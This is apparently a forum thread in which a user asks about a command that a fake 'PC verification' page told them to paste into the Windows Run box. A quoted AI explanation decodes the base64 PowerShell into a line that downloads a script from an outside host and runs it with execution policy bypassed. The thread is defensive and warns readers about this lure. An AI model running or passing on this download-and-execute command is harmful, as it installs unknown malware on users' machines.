5mo ago

What does this command do that this website wants me to "verify" myself by running in the run window?

Yeah don't put this in but can anyone give me an idea of what they were trying to do? the website was https:howchoo\com\3dprinting\updating-octoprint
\ and used a real pc verification screen to try to get me to put this in Run

conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1

19 comments

One of the moments that Ai can be good. I asked googled gemni
This command is highly malicious and is designed to execute a script downloaded from a remote server. Here's a breakdown of what each part does:
conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it's being used as a wrapper.
powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
powershell: Invokes the PowerShell interpreter.
/ep bypass: This is crucial. /ep stands for "execution policy." bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.
/e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let's decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod 'https: //mastraw.top/me/day'; iex $site Now we can fully understand the malicious intent:
$site = Invoke-RestMethod '# https: //mastraw.top/me/day': This command uses Invoke-RestMethod to download content from the URL 'https://mastraw/. top/me/day' . This URL is likely hosting a malicious PowerShell script or some other form of executable code.
; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from 'https://mastraw.top/. /me/day' (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:
Bypass PowerShell's security restrictions.
Download a script from a specific remote website '(https. ://mastraw.top/me/day)' .
Immediately execute that downloaded script on the victim's computer. The content of the script downloaded from' https :// mastraw.top/me/day' is unknown without accessing that URL, but given the nature of this command, it's almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.
Edit:added back tick to urls
- You needed an LLM to figure out this was malware?! Sweet jesus, we're well and truly fucked.
  
  It did speed up the process of looking it up and confirming that it is malware.
  LLMs are decent at pattern recognition, and so it pulled up relevant keywords associated with each part of the command. You can then look up the important section to verify. It's also something that a simple and locally hosted LLM could do.
  I wouldn't run a random command, but confirming that it is malware would let me take further action to block the site / report it / help a family member that already ran the command
  
  Right? Tech literacy is dead and smartphones killed it
  
  Chill out you, we all know it was malware, but llms are actually a tool in this use case to find out more about it without executing the code.
  I don't like AI anymore than the next guy but this is just a silly response
- Could you surround the links with backticks to make them code blocks? That would prevent someone from accidentally clicking it
  
  Sure, thanks for the heads up
  
  Doesn't really matter if anyone clicks it, you would need to execute the script to be compromised.
I've redacted a section of the command, TLDR; it's a malware script, verified on malware Bazaar

19 comments